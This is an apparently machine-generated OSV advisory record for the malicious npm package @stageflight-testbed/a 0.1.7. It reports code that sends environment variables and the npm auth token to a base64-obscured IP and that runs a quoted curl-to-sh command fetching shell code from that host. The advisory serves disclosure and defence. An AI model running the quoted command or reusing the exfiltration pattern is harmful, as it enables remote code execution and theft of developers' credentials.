@stageflight-testbed/a

{"modified":"2026-08-05T18:15:58Z","published":"2026-08-05T18:15:58Z","schema_version":"1.7.4","id":"MAL-2026-13365","summary":"Malicious code in @stageflight-testbed/a (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (1072a48305e4a3b7d7da10a09c3842a6976dc23f48c48b743e62e71d35912e36)\nindex.ts defines an exported _telemetry function that (1) POSTs process.env and process.env.NODE_AUTH_TOKEN to a base64-hidden endpoint decoding to http://185.220.101.47:8080/collect, and (2) invokes execSync on `curl -s http://185.220.101.47:8080/the assessment | sh`, fetching and executing attacker-controlled shell code from the same bare-IP plaintext-HTTP host. The C2 URL is stored as a base64 literal decoded at runtime via Buffer.from(...,'base64') to hide the destination from source review. Execution is gated by an environment flag (__SF_TEST_NEVER__), but the exfiltration and remote-exec code paths are present and reachable whenever a caller sets that variable. The combination of full-environment dump, npm auth token exfiltration, remote shell fetch-and-exec, and runtime-decoded bare-IP destination is a supply-chain credential-theft and RCE payload.\n","affected":[{"package":{"ecosystem":"npm","name":"@stageflight-testbed/a"},"versions":["0.1.7"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"index.ts","sha256":"5147a4e101210b1d8a056edc334b7d5a7cd87be88b44f7c9f305bfcae8120de1","tlsh":"6b2135020e261b3549e1d99abb3cf09bc75f42356610d5a1945d539f4fc2528527f393"}],"package_integrity":[{"filename":"a-0.1.7.tgz","hashes":{"sha1":"c03c55edbaad56bbe32a7ed468710c4967c84148","sha512_sri":"sha512-upJvdXfwcimUb/v2dDypyw9QzpwF9Ioafh7/+T9qUrsNdI4dDvzN9eBHPR4aBSGYBjpXxArXaqrO5gs6Bv9hoQ=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/@stageflight-testbed/a/v/0.1.7"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-015846","import_time":"2026-08-05T19:04:54.162169082Z","modified_time":"2026-08-05T18:15:58Z","sha256":"1072a48305e4a3b7d7da10a09c3842a6976dc23f48c48b743e62e71d35912e36","source":"amazon-inspector","versions":["0.1.7"]}]}}